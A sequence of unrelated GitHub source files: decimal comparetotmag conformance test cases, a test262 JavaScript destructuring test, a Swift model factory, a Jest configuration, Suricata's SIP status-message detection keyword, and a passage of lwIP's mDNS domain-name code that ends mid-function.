1 ctmx783 comparetotmag Inf -0 -> 1 ctmx784 comparetotmag Inf 0 -> 1 ctmx785 comparetotmag Inf 1 -> 1 ctmx786 comparetotmag Inf 1000 -> 1 ctmx787 comparetotmag Inf Inf -> 0 ctmx788 comparetotmag -1000 Inf -> -1 ctmx789 comparetotmag -Inf Inf -> 0 ctmx790 comparetotmag -1 Inf -> -1 ctmx791 comparetotmag -0 Inf -> -1 ctmx792 comparetotmag 0 Inf -> -1 ctmx793 comparetotmag 1 Inf -> -1 ctmx794 comparetotmag 1000 Inf -> -1 ctmx795 comparetotmag Inf Inf -> 0 ctmx800 comparetotmag -Inf -Inf -> 0 ctmx801 comparetotmag -Inf -1000 -> 1 ctmx802 comparetotmag -Inf -1 -> 1 ctmx803 comparetotmag -Inf -0 -> 1 ctmx804 comparetotmag -Inf 0 -> 1 ctmx805 comparetotmag -Inf 1 -> 1 ctmx806 comparetotmag -Inf 1000 -> 1 ctmx807 comparetotmag -Inf Inf -> 0 ctmx808 comparetotmag -Inf -Inf -> 0 ctmx809 comparetotmag -1000 -Inf -> -1 ctmx810 comparetotmag -1 -Inf -> -1 ctmx811 comparetotmag -0 -Inf -> -1 ctmx812 comparetotmag 0 -Inf -> -1 ctmx813 comparetotmag 1 -Inf -> -1 ctmx814 comparetotmag 1000 -Inf -> -1 ctmx815 comparetotmag Inf -Inf -> 0 ctmx821 comparetotmag NaN -Inf -> 1 ctmx822 comparetotmag NaN -1000 -> 1 ctmx823 comparetotmag NaN -1 -> 1 ctmx824 comparetotmag NaN -0 -> 1 ctmx825 comparetotmag NaN 0 -> 1 ctmx826 comparetotmag NaN 1 -> 1 ctmx827 comparetotmag NaN 1000 -> 1 ctmx828 comparetotmag NaN Inf -> 1 ctmx829 comparetotmag NaN NaN -> 0 ctmx830 comparetotmag -Inf NaN -> -1 ctmx831 comparetotmag -1000 NaN -> -1 ctmx832 comparetotmag -1 NaN -> -1 ctmx833 comparetotmag -0 NaN -> -1 ctmx834 comparetotmag 0 NaN -> -1 ctmx835 comparetotmag 1 NaN -> -1 ctmx836 comparetotmag 1000 NaN -> -1 ctmx837 comparetotmag Inf NaN -> -1 ctmx838 comparetotmag -NaN -NaN -> 0 ctmx839 comparetotmag +NaN -NaN -> 0 ctmx840 comparetotmag -NaN +NaN -> 0 ctmx841 comparetotmag sNaN -sNaN -> 0 ctmx842 comparetotmag sNaN -NaN -> -1 ctmx843 comparetotmag sNaN -Inf -> 1 ctmx844 comparetotmag sNaN -1000 -> 1 ctmx845 comparetotmag sNaN -1 -> 1 ctmx846 comparetotmag sNaN -0 -> 1 ctmx847 comparetotmag sNaN 0 -> 1 ctmx848 comparetotmag sNaN 1 -> 1 ctmx849 comparetotmag sNaN 1000 -> 1 ctmx850 comparetotmag sNaN NaN -> -1 ctmx851 comparetotmag sNaN sNaN -> 0 ctmx852 comparetotmag -sNaN sNaN -> 0 ctmx853 comparetotmag -NaN sNaN -> 1 ctmx854 comparetotmag -Inf sNaN -> -1 ctmx855 comparetotmag -1000 sNaN -> -1 ctmx856 comparetotmag -1 sNaN -> -1 ctmx857 comparetotmag -0 sNaN -> -1 ctmx858 comparetotmag 0 sNaN -> -1 ctmx859 comparetotmag 1 sNaN -> -1 ctmx860 comparetotmag 1000 sNaN -> -1 ctmx861 comparetotmag Inf sNaN -> -1 ctmx862 comparetotmag NaN sNaN -> 1 ctmx863 comparetotmag sNaN sNaN -> 0 ctmx871 comparetotmag -sNaN -sNaN -> 0 ctmx872 comparetotmag -sNaN -NaN -> -1 ctmx873 comparetotmag -sNaN -Inf -> 1 ctmx874 comparetotmag -sNaN -1000 -> 1 ctmx875 comparetotmag -sNaN -1 -> 1 ctmx876 comparetotmag -sNaN -0 -> 1 ctmx877 comparetotmag -sNaN 0 -> 1 ctmx878 comparetotmag -sNaN 1 -> 1 ctmx879 comparetotmag -sNaN 1000 -> 1 ctmx880 comparetotmag -sNaN NaN -> -1 ctmx881 comparetotmag -sNaN sNaN -> 0 ctmx882 comparetotmag -sNaN -sNaN -> 0 ctmx883 comparetotmag -NaN -sNaN -> 1 ctmx884 comparetotmag -Inf -sNaN -> -1 ctmx885 comparetotmag -1000 -sNaN -> -1 ctmx886 comparetotmag -1 -sNaN -> -1 ctmx887 comparetotmag -0 -sNaN -> -1 ctmx888 comparetotmag 0 -sNaN -> -1 ctmx889 comparetotmag 1 -sNaN -> -1 ctmx890 comparetotmag 1000 -sNaN -> -1 ctmx891 comparetotmag Inf -sNaN -> -1 ctmx892 comparetotmag NaN -sNaN -> 1 ctmx893 comparetotmag sNaN -sNaN -> 0 -- NaNs with payload ctmx960 comparetotmag NaN9 -Inf -> 1 ctmx961 comparetotmag NaN8 999 -> 1 ctmx962 comparetotmag NaN77 Inf -> 1 ctmx963 comparetotmag -NaN67 NaN5 -> 1 ctmx964 comparetotmag -Inf -NaN4 -> -1 ctmx965 comparetotmag -999 -NaN33 -> -1 ctmx966 comparetotmag Inf NaN2 -> -1 ctmx970 comparetotmag -NaN41 -NaN42 -> -1 ctmx971 comparetotmag +NaN41 -NaN42 -> -1 ctmx972 comparetotmag -NaN41 +NaN42 -> -1 ctmx973 comparetotmag +NaN41 +NaN42 -> -1 ctmx974 comparetotmag -NaN42 -NaN01 -> 1 ctmx975 comparetotmag +NaN42 -NaN01 -> 1 ctmx976 comparetotmag -NaN42 +NaN01 -> 1 ctmx977 comparetotmag +NaN42 +NaN01 -> 1 ctmx980 comparetotmag -sNaN771 -sNaN772 -> -1 ctmx981 comparetotmag +sNaN771 -sNaN772 -> -1 ctmx982 comparetotmag -sNaN771 +sNaN772 -> -1 ctmx983 comparetotmag +sNaN771 +sNaN772 -> -1 ctmx984 comparetotmag -sNaN772 -sNaN771 -> 1 ctmx985 comparetotmag +sNaN772 -sNaN771 -> 1 ctmx986 comparetotmag -sNaN772 +sNaN771 -> 1 ctmx987 comparetotmag +sNaN772 +sNaN771 -> 1 ctmx991 comparetotmag -sNaN99 -Inf -> 1 ctmx992 comparetotmag sNaN98 -11 -> 1 ctmx993 comparetotmag sNaN97 NaN -> -1 ctmx994 comparetotmag sNaN16 sNaN94 -> -1 ctmx995 comparetotmag NaN85 sNaN83 -> 1 ctmx996 comparetotmag -Inf sNaN92 -> -1 ctmx997 comparetotmag 088 sNaN81 -> -1 ctmx998 comparetotmag Inf sNaN90 -> -1 ctmx999 comparetotmag NaN -sNaN89 -> 1 -- overflow and underflow tests .. subnormal results now allowed maxExponent: 999999999 minexponent: -999999999 ctmx1080 comparetotmag +1.23456789012345E-0 9E+999999999 -> -1 ctmx1081 comparetotmag 9E+999999999 +1.23456789012345E-0 -> 1 ctmx1082 comparetotmag +0.100 9E-999999999 -> 1 ctmx1083 comparetotmag 9E-999999999 +0.100 -> -1 ctmx1085 comparetotmag -1.23456789012345E-0 9E+999999999 -> -1 ctmx1086 comparetotmag 9E+999999999 -1.23456789012345E-0 -> 1 ctmx1087 comparetotmag -0.100 9E-999999999 -> 1 ctmx1088 comparetotmag 9E-999999999 -0.100 -> -1 ctmx1089 comparetotmag 1e-599999999 1e-400000001 -> -1 ctmx1090 comparetotmag 1e-599999999 1e-400000000 -> -1 ctmx1091 comparetotmag 1e-600000000 1e-400000000 -> -1 ctmx1092 comparetotmag 9e-999999998 0.01 -> -1 ctmx1093 comparetotmag 9e-999999998 0.1 -> -1 ctmx1094 comparetotmag 0.01 9e-999999998 -> 1 ctmx1095 comparetotmag 1e599999999 1e400000001 -> 1 ctmx1096 comparetotmag 1e599999999 1e400000000 -> 1 ctmx1097 comparetotmag 1e600000000 1e400000000 -> 1 ctmx1098 comparetotmag 9e999999998 100 -> 1 ctmx1099 comparetotmag 9e999999998 10 -> 1 ctmx1100 comparetotmag 100 9e999999998 -> -1 -- signs ctmx1101 comparetotmag 1e+777777777 1e+411111111 -> 1 ctmx1102 comparetotmag 1e+777777777 -1e+411111111 -> 1 ctmx1103 comparetotmag -1e+777777777 1e+411111111 -> 1 ctmx1104 comparetotmag -1e+777777777 -1e+411111111 -> 1 ctmx1105 comparetotmag 1e-777777777 1e-411111111 -> -1 ctmx1106 comparetotmag 1e-777777777 -1e-411111111 -> -1 ctmx1107 comparetotmag -1e-777777777 1e-411111111 -> -1 ctmx1108 comparetotmag -1e-777777777 -1e-411111111 -> -1 -- spread zeros ctmx1110 comparetotmag 0E-383 0 -> -1 ctmx1111 comparetotmag 0E-383 -0 -> -1 ctmx1112 comparetotmag -0E-383 0 -> -1 ctmx1113 comparetotmag -0E-383 -0 -> -1 ctmx1114 comparetotmag 0E-383 0E+384 -> -1 ctmx1115 comparetotmag 0E-383 -0E+384 -> -1 ctmx1116 comparetotmag -0E-383 0E+384 -> -1 ctmx1117 comparetotmag -0E-383 -0E+384 -> -1 ctmx1118 comparetotmag 0 0E+384 -> -1 ctmx1119 comparetotmag 0 -0E+384 -> -1 ctmx1120 comparetotmag -0 0E+384 -> -1 ctmx1121 comparetotmag -0 -0E+384 -> -1 ctmx1130 comparetotmag 0E+384 0 -> 1 ctmx1131 comparetotmag 0E+384 -0 -> 1 ctmx1132 comparetotmag -0E+384 0 -> 1 ctmx1133 comparetotmag -0E+384 -0 -> 1 ctmx1134 comparetotmag 0E+384 0E-383 -> 1 ctmx1135 comparetotmag 0E+384 -0E-383 -> 1 ctmx1136 comparetotmag -0E+384 0E-383 -> 1 ctmx1137 comparetotmag -0E+384 -0E-383 -> 1 ctmx1138 comparetotmag 0 0E-383 -> 1 ctmx1139 comparetotmag 0 -0E-383 -> 1 ctmx1140 comparetotmag -0 0E-383 -> 1 ctmx1141 comparetotmag -0 -0E-383 -> 1 -- Null tests ctmx9990 comparetotmag 10 # -> NaN Invalid_operation ctmx9991 comparetotmag # 10 -> NaN Invalid_operation
{ "pile_set_name": "Github" }
// This file was procedurally generated from the following sources: // - src/dstr-binding/ary-ptrn-rest-id.case // - src/dstr-binding/default/cls-decl-gen-meth-static.template /*--- description: Lone rest element (static class expression generator method) esid: sec-runtime-semantics-bindingclassdeclarationevaluation es6id: 14.5.15 features: [generators, destructuring-binding] flags: [generated] info: | ClassDeclaration : class BindingIdentifier ClassTail 1. Let className be StringValue of BindingIdentifier. 2. Let value be the result of ClassDefinitionEvaluation of ClassTail with argument className. [...] 14.5.14 Runtime Semantics: ClassDefinitionEvaluation 21. For each ClassElement m in order from methods a. If IsStatic of m is false, then b. Else, Let status be the result of performing PropertyDefinitionEvaluation for m with arguments F and false. [...] 14.4.13 Runtime Semantics: PropertyDefinitionEvaluation GeneratorMethod : * PropertyName ( StrictFormalParameters ) { GeneratorBody } 1. Let propKey be the result of evaluating PropertyName. 2. ReturnIfAbrupt(propKey). 3. If the function code for this GeneratorMethod is strict mode code, let strict be true. Otherwise let strict be false. 4. Let scope be the running execution context's LexicalEnvironment. 5. Let closure be GeneratorFunctionCreate(Method, StrictFormalParameters, GeneratorBody, scope, strict). 9.2.1 [[Call]] ( thisArgument, argumentsList) [...] 7. Let result be OrdinaryCallEvaluateBody(F, argumentsList). [...] 9.2.1.3 OrdinaryCallEvaluateBody ( F, argumentsList ) 1. Let status be FunctionDeclarationInstantiation(F, argumentsList). [...] 9.2.12 FunctionDeclarationInstantiation(func, argumentsList) [...] 23. Let iteratorRecord be Record {[[iterator]]: CreateListIterator(argumentsList), [[done]]: false}. 24. If hasDuplicates is true, then [...] 25. Else, b. Let formalStatus be IteratorBindingInitialization for formals with iteratorRecord and env as arguments. [...] 13.3.3.6 Runtime Semantics: IteratorBindingInitialization BindingRestElement : ... BindingIdentifier [...] 3. Let A be ArrayCreate(0). [...] 5. Repeat [...] f. Let status be CreateDataProperty(A, ToString (n), nextValue). [...] ---*/ var values = [1, 2, 3]; var callCount = 0; class C { static *method([...x]) { assert(Array.isArray(x)); assert.sameValue(x.length, 3); assert.sameValue(x[0], 1); assert.sameValue(x[1], 2); assert.sameValue(x[2], 3); assert.notSameValue(x, values); callCount = callCount + 1; } }; C.method(values).next(); assert.sameValue(callCount, 1, 'method invoked exactly once');
{ "pile_set_name": "Github" }
// // TemplateModelsFactory.swift // StyleGenerator // // Created by Denis on 10.03.17. // Copyright © 2017 DenRee. All rights reserved. // import Foundation // MARK: - Model typealias TemplateInputParameters = [String: Any] protocol TemplateModel { init?(_ parameters: TemplateInputParameters) } // MARK: - Factory final class TemplateModelsFactory { // MARK: - Public static func makeModels<ModelType: TemplateModel>(from parameters: [TemplateInputParameters]?) -> [ModelType] { guard let parameters = parameters else { print("parameters are empty") return [] } var result = [ModelType]() for parameter in parameters { if let model = ModelType(parameter) { result.append(model) } } return result } }
{ "pile_set_name": "Github" }
module.exports = { globalSetup: '<rootDir>/test/_setup.js', globalTeardown: '<rootDir>/test/_teardown.js', testMatch: ['<rootDir>/test/[^_.]*.js'], collectCoverageFrom: ['<rootDir>/lib/**/*.js'], testTimeout: 60000 };
{ "pile_set_name": "Github" }
/* Copyright (C) 2019 Open Information Security Foundation * * You can copy, redistribute or modify this Program under the terms of * the GNU General Public License version 2 as published by the Free * Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * version 2 along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301, USA. */ /** * * \author Giuseppe Longo <giuseppe@glongo.it> * * Implements the sip.stat_msg sticky buffer * */ #include "suricata-common.h" #include "threads.h" #include "debug.h" #include "decode.h" #include "detect.h" #include "detect-parse.h" #include "detect-engine.h" #include "detect-engine-mpm.h" #include "detect-engine-prefilter.h" #include "detect-content.h" #include "detect-pcre.h" #include "detect-urilen.h" #include "flow.h" #include "flow-var.h" #include "flow-util.h" #include "util-debug.h" #include "util-unittest.h" #include "util-unittest-helper.h" #include "util-spm.h" #include "app-layer.h" #include "app-layer-parser.h" #include "detect-sip-stat-msg.h" #include "stream-tcp.h" #include "rust.h" #include "app-layer-sip.h" #define KEYWORD_NAME "sip.stat_msg" #define KEYWORD_DOC "sip-keywords.html#sip-stat-msg" #define BUFFER_NAME "sip.stat_msg" #define BUFFER_DESC "sip response status message" static int g_buffer_id = 0; static int DetectSipStatMsgSetup(DetectEngineCtx *de_ctx, Signature *s, const char *str) { if (DetectBufferSetActiveList(s, g_buffer_id) < 0) return -1; if (DetectSignatureSetAppProto(s, ALPROTO_SIP) < 0) return -1; return 0; } static InspectionBuffer *GetData(DetectEngineThreadCtx *det_ctx, const DetectEngineTransforms *transforms, Flow *_f, const uint8_t _flow_flags, void *txv, const int list_id) { SCEnter(); InspectionBuffer *buffer = InspectionBufferGet(det_ctx, list_id); if (buffer->inspect == NULL) { const uint8_t *b = NULL; uint32_t b_len = 0; if (rs_sip_tx_get_stat_msg(txv, &b, &b_len) != 1) return NULL; if (b == NULL || b_len == 0) return NULL; InspectionBufferSetup(buffer, b, b_len); InspectionBufferApplyTransforms(buffer, transforms); } return buffer; } void DetectSipStatMsgRegister (void) { /* sip.stat_msg sticky buffer */ sigmatch_table[DETECT_AL_SIP_STAT_MSG].name = KEYWORD_NAME; sigmatch_table[DETECT_AL_SIP_STAT_MSG].desc = "sticky buffer to match on the SIP status message"; sigmatch_table[DETECT_AL_SIP_STAT_MSG].url = "/rules/" KEYWORD_DOC; sigmatch_table[DETECT_AL_SIP_STAT_MSG].Setup = DetectSipStatMsgSetup; sigmatch_table[DETECT_AL_SIP_STAT_MSG].flags |= SIGMATCH_NOOPT; DetectAppLayerInspectEngineRegister2(BUFFER_NAME, ALPROTO_SIP, SIG_FLAG_TOCLIENT, 1, DetectEngineInspectBufferGeneric, GetData); DetectAppLayerMpmRegister2(BUFFER_NAME, SIG_FLAG_TOCLIENT, 3, PrefilterGenericMpmRegister, GetData, ALPROTO_SIP, 1); DetectBufferTypeSetDescriptionByName(BUFFER_NAME, BUFFER_DESC); g_buffer_id = DetectBufferTypeGetByName(BUFFER_NAME); SCLogDebug("registering " BUFFER_NAME " rule option"); }
{ "pile_set_name": "Github" }
/** * @file * MDNS responder implementation - domain related functionalities */ /* * Copyright (c) 2015 Verisure Innovation AB * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT * SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. * * This file is part of the lwIP TCP/IP stack. * * Author: Erik Ekman <erik@kryo.se> * Author: Jasper Verschueren <jasper.verschueren@apart-audio.com> * */ #include "lwip/apps/mdns.h" #include "lwip/apps/mdns_domain.h" #include "lwip/apps/mdns_priv.h" #include "lwip/prot/dns.h" #include <string.h> #if LWIP_IPV6 #include "lwip/prot/ip6.h" #endif #if LWIP_MDNS_RESPONDER /* Stored offsets to beginning of domain names * Used for compression. */ #define DOMAIN_JUMP_SIZE 2 #define DOMAIN_JUMP 0xc000 #define TOPDOMAIN_LOCAL "local" #define REVERSE_PTR_TOPDOMAIN "arpa" #define REVERSE_PTR_V4_DOMAIN "in-addr" #define REVERSE_PTR_V6_DOMAIN "ip6" static const char *dnssd_protos[] = { "_udp", /* DNSSD_PROTO_UDP */ "_tcp", /* DNSSD_PROTO_TCP */ }; /* forward declarations (function prototypes)*/ static err_t mdns_domain_add_label_base(struct mdns_domain *domain, u8_t len); static err_t mdns_domain_add_label_pbuf(struct mdns_domain *domain, const struct pbuf *p, u16_t offset, u8_t len); static u16_t mdns_readname_loop(struct pbuf *p, u16_t offset, struct mdns_domain *domain, unsigned depth); static err_t mdns_add_dotlocal(struct mdns_domain *domain); static err_t mdns_domain_add_label_base(struct mdns_domain *domain, u8_t len) { if (len > MDNS_LABEL_MAXLEN) { return ERR_VAL; } if (len > 0 && (1 + len + domain->length >= MDNS_DOMAIN_MAXLEN)) { return ERR_VAL; } /* Allow only zero marker on last byte */ if (len == 0 && (1 + domain->length > MDNS_DOMAIN_MAXLEN)) { return ERR_VAL; } domain->name[domain->length] = len; domain->length++; return ERR_OK; } /** * Add a label part to a domain * @param domain The domain to add a label to * @param label The label to add, like &lt;hostname&gt;, 'local', 'com' or '' * @param len The length of the label * @return ERR_OK on success, an err_t otherwise if label too long */ err_t mdns_domain_add_label(struct mdns_domain *domain, const char *label, u8_t len) { err_t err = mdns_domain_add_label_base(domain, len); if (err != ERR_OK) { return err; } if (len) { MEMCPY(&domain->name[domain->length], label, len); domain->length += len; } return ERR_OK; } /** * Add a label part to a domain (@see mdns_domain_add_label but copy directly from pbuf) */ static err_t mdns_domain_add_label_pbuf(struct mdns_domain *domain, const struct pbuf *p, u16_t offset, u8_t len) { err_t err = mdns_domain_add_label_base(domain, len); if (err != ERR_OK) { return err; } if (len) { if (pbuf_copy_partial(p, &domain->name[domain->length], len, offset) != len) { /* take back the ++ done before */ domain->length--; return ERR_ARG; } domain->length += len; } return ERR_OK; } /** * Add a partial domain to a domain * @param domain The domain to add a label to * @param source The domain to add, like &lt;\\x09_services\\007_dns-sd\\000&gt; * @return ERR_OK on success, an err_t otherwise if label too long */ err_t mdns_domain_add_domain(struct mdns_domain *domain, struct mdns_domain *source) { u16_t len = source->length; if (len > 0 && (1 + len + domain->length >= MDNS_DOMAIN_MAXLEN)) { return ERR_VAL; } /* Allow only zero marker on last byte */ if (len == 0 && (1 + domain->length > MDNS_DOMAIN_MAXLEN)) { return ERR_VAL; } if (len) { /* Copy partial domain */ MEMCPY(&domain->name[domain->length], source->name, len); domain->length += len; } else { /* Add zero marker */ domain->name[domain->length] = 0; domain->length++; } return ERR_OK; } /** * Add a string domain to a domain * @param domain The domain to add a label to * @param source The string to add, like &lt;_services._dns-sd&gt; * @return ERR_OK on success, an err_t otherwise if label too long */ err_t mdns_domain_add_string(struct mdns_domain *domain, const char *source) { u8_t *len = &domain->name[domain->length]; u8_t *end = &domain->name[MDNS_DOMAIN_MAXLEN]; u8_t *start = len + 1; *len = 0; while (*source && start < end) { if (*source == '.') { len = start++; *len = 0; source++; } else { *start++ = *source++; *len = *len + 1; } } if (start == end) { return ERR_VAL; } domain->length = (u16_t)(start - &domain->name[0]); return ERR_OK; } /** * Internal readname function with max 6 levels of recursion following jumps * while decompressing name */ static u16_t mdns_readname_loop(struct pbuf *p, u16_t offset, struct mdns_domain *domain, unsigned depth) { u8_t c; do { if (depth > 5) { /* Too many jumps */ return MDNS_READNAME_ERROR; } c = pbuf_get_at(p, offset); offset++; /* is this a compressed label? */ if ((c & 0xc0) == 0xc0) { u16_t jumpaddr; if (offset >= p->tot_len) { /* Make sure both jump bytes fit in the packet */ return MDNS_READNAME_ERROR; } jumpaddr = (((c & 0x3f) << 8) | (pbuf_get_at(p, offset) & 0xff)); offset++; if (jumpaddr >= SIZEOF_DNS_HDR && jumpaddr < p->tot_len) { u16_t res; /* Recursive call, maximum depth will be checked */ res = mdns_readname_loop(p, jumpaddr, domain, depth + 1); /* Dont return offset since new bytes were not read (jumped to somewhere in packet) */ if (res == MDNS_READNAME_ERROR) { return res; } } else { return MDNS_READNAME_ERROR; } break; } /* normal label */ if (c <= MDNS_LABEL_MAXLEN) { err_t res; if (c + domain->length >= MDNS_DOMAIN_MAXLEN) { return MDNS_READNAME_ERROR; } res = mdns_domain_add_label_pbuf(domain, p, offset, c); if (res != ERR_OK) { return MDNS_READNAME_ERROR; } offset += c; } else { /* bad length byte */ return MDNS_READNAME_ERROR; } } while (c != 0); return offset; } /** * Read possibly compressed domain name from packet buffer * @param p The packet * @param offset start position of domain name in packet * @param domain The domain name destination * @return The new offset after the domain, or MDNS_READNAME_ERROR * if reading failed */ u16_t mdns_readname(struct pbuf *p, u16_t offset, struct mdns_domain *domain) { memset(domain, 0, sizeof(struct mdns_domain)); return mdns_readname_loop(p, offset, domain, 0); } /** * Print domain name to debug output * @param domain The domain name */ void mdns_domain_debug_print(struct mdns_domain *domain) { u8_t *src = domain->name; u8_t i; while (*src) { u8_t label_len = *src; src++; for (i = 0; i < label_len; i++) { LWIP_DEBUGF(MDNS_DEBUG, ("%c", src[i])); } src += label_len; LWIP_DEBUGF(MDNS_DEBUG, (".")); } } /** * Return 1 if contents of domains match (case-insensitive) * @param a Domain name to compare 1 * @param b Domain name to compare 2 * @return 1 if domains are equal ignoring case, 0 otherwise */ int mdns_domain_eq(struct mdns_domain *a, struct mdns_domain *b) { u8_t *ptra, *ptrb; u8_t len; int res; if (a->length != b->length) { return 0; } ptra = a->name; ptrb = b->name; while (*ptra && *ptrb && ptra < &a->name[a->length]) { if (*ptra != *ptrb) { return 0; } len = *ptra; ptra++; ptrb++; res = lwip_strnicmp((char *) ptra, (char *) ptrb, len); if (res != 0) { return 0; } ptra += len; ptrb += len; } if (*ptra != *ptrb && ptra < &a->name[a->length]) { return 0; } return 1; } #if LWIP_IPV4 /** * Build domain for reverse lookup of IPv4 address * like 12.0.168.192.in-addr.arpa. for 192.168.0.12 * @param domain Where to write the domain name * @param addr Pointer to an IPv4 address to encode * @return ERR_OK if domain was written, an err_t otherwise */ err_t mdns_build_reverse_v4_domain(struct mdns_domain *domain, const ip4_addr_t *addr) { int i; err_t res; const u8_t *ptr; LWIP_UNUSED_ARG(res); if (!domain || !addr) { return ERR_ARG; } memset(domain, 0, sizeof(struct mdns_domain)); ptr = (const u8_t *) addr; for (i = sizeof(ip4_addr_t) - 1; i >= 0; i--) { char buf[4]; u8_t val = ptr[i]; lwip_itoa(buf, sizeof(buf), val); res = mdns_domain_add_label(domain, buf, (u8_t)strlen(buf)); LWIP_ERROR("mdns_build_reverse_v4_domain: Failed to add label", (res == ERR_OK), return res); } res = mdns_domain_add_label(domain, REVERSE_PTR_V4_DOMAIN, (u8_t)(sizeof(REVERSE_PTR_V4_DOMAIN) - 1)); LWIP_ERROR("mdns_build_reverse_v4_domain: Failed to add label", (res == ERR_OK), return res); res = mdns_domain_add_label(domain, REVERSE_PTR_TOPDOMAIN, (u8_t)(sizeof(REVERSE_PTR_TOPDOMAIN) - 1)); LWIP_ERROR("mdns_build_reverse_v4_domain: Failed to add label", (res == ERR_OK), return res); res = mdns_domain_add_label(domain, NULL, 0); LWIP_ERROR("mdns_build_reverse_v4_domain: Failed to add label", (res == ERR_OK), return res); return ERR_OK; } #endif #if LWIP_IPV6 /** * Build domain for reverse lookup of IP address * like b.a.9.8.7.6.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. for 2001:db8::567:89ab * @param domain Where to write the domain name * @param addr Pointer to an IPv6 address to encode * @return ERR_OK if domain was written, an err_t otherwise */ err_t mdns_build_reverse_v6_domain(struct mdns_domain *domain, const ip6_addr_t *addr) { int i; err_t res; const u8_t *ptr; LWIP_UNUSED_ARG(res); if (!domain || !addr) { return ERR_ARG; } memset(domain, 0, sizeof(struct mdns_domain)); ptr = (const u8_t *) addr; for (i = sizeof(ip6_addr_p_t) - 1; i >= 0; i--) { char buf; u8_t byte = ptr[i]; int j; for (j = 0; j < 2; j++) { if ((byte & 0x0F) < 0xA) { buf = '0' + (byte & 0x0F); } else { buf = 'a' + (byte & 0x0F) - 0xA; } res = mdns_domain_add_label(domain, &buf, sizeof(buf)); LWIP_ERROR("mdns_build_reverse_v6_domain: Failed to add label", (res == ERR_OK), return res); byte >>= 4; } } res = mdns_domain_add_label(domain, REVERSE_PTR_V6_DOMAIN, (u8_t)(sizeof(REVERSE_PTR_V6_DOMAIN) - 1)); LWIP_ERROR("mdns_build_reverse_v6_domain: Failed to add label", (res == ERR_OK), return res); res = mdns_domain_add_label(domain, REVERSE_PTR_TOPDOMAIN, (u8_t)(sizeof(REVERSE_PTR_TOPDOMAIN) - 1)); LWIP_ERROR("mdns_build_reverse_v6_domain: Failed to add label", (res == ERR_OK), return res); res = mdns_domain_add_label(domain, NULL, 0); LWIP_ERROR("mdns_build_reverse_v6_domain: Failed to add label", (res == ERR_OK), return res); return ERR_OK; } #endif /* Add .local. to domain */ static err_t mdns_add_dotlocal(struct mdns_domain *domain) { err_t res = mdns_domain_add_label(domain, TOPDOMAIN_LOCAL, (u8_t)(sizeof(TOPDOMAIN_LOCAL) - 1)); LWIP_UNUSED_ARG(res); LWIP_ERROR("mdns_add_dotlocal: Failed to add label", (res == ERR_OK), return res); return mdns_domain_add_label(domain, NULL, 0); } /** * Build the \<hostname\>.local. domain name * @param domain Where to write the domain name * @param mdns TMDNS netif descriptor. * @return ERR_OK if domain \<hostname\>.local. was written, an err_t otherwise */ err_t mdns_build_host_domain(struct mdns_domain *domain, struct mdns_host *mdns) { err_t res; LWIP_UNUSED_ARG(res); memset(domain, 0, sizeof(struct mdns_domain)); LWIP_ERROR("mdns_build_host_domain: mdns != NULL", (mdns != NULL), return ERR_VAL); res = mdns_domain_add_label(domain, mdns->name, (u8_t)strlen(mdns->name)); LWIP_ERROR("mdns_build_host_domain: Failed to add label", (res == ERR_OK), return res); return mdns_add_dotlocal(domain); } /** * Build the lookup-all-services special DNS-SD domain name * @param domain Where to write the domain name * @return ERR_OK if domain _services._dns-sd._udp.local. was written, an err_t otherwise */ err_t mdns_build_dnssd_domain(struct mdns_domain *domain) { err_t res; LWIP_UNUSED_ARG(res); memset(domain, 0, sizeof(struct mdns_domain)); res = mdns_domain_add_label(domain, "_services", (u8_t)(sizeof("_services") - 1)); LWIP_ERROR("mdns_build_dnssd_domain: Failed to add label", (res == ERR_OK), return res); res = mdns_domain_add_label(domain, "_dns-sd", (u8_t)(sizeof("_dns-sd") - 1)); LWIP_ERROR("mdns_build_dnssd_domain: Failed to add label", (res == ERR_OK), return res); res = mdns_domain_add_label(domain, dnssd_protos[DNSSD_PROTO_UDP], (u8_t)strlen(dnssd_protos[DNSSD_PROTO_UDP])); LWIP_ERROR("mdns_build_dnssd_domain: Failed to add label", (res == ERR_OK), return res); return mdns_add_dotlocal(domain); } /** * Build domain name for a service * @param domain Where to write the domain name * @param service The service struct, containing service name, type and protocol * @param include_name Whether to include the service name in the domain * @return ERR_OK if domain was written. If service name is included, * \<name\>.\<type\>.\<proto\>.local. will be written, otherwise \<type\>.\<proto\>.local. * An err_t is returned on error. */ err_t mdns_build_service_domain(struct mdns_domain *domain, struct mdns_service *service, int include_name) { err_t res; LWIP_UNUSED_ARG(res); memset(domain, 0, sizeof(struct mdns_domain)); if (include_name) { res = mdns_domain_add_label(domain, service->name, (u8_t)strlen(service->name)); LWIP_ERROR("mdns_build_service_domain: Failed to add label", (res == ERR_OK), return res); } res = mdns_domain_add_label(domain, service->service, (u8_t)strlen(service->service)); LWIP_ERROR("mdns_build_service_domain: Failed to add label", (res == ERR_OK), return res); res = 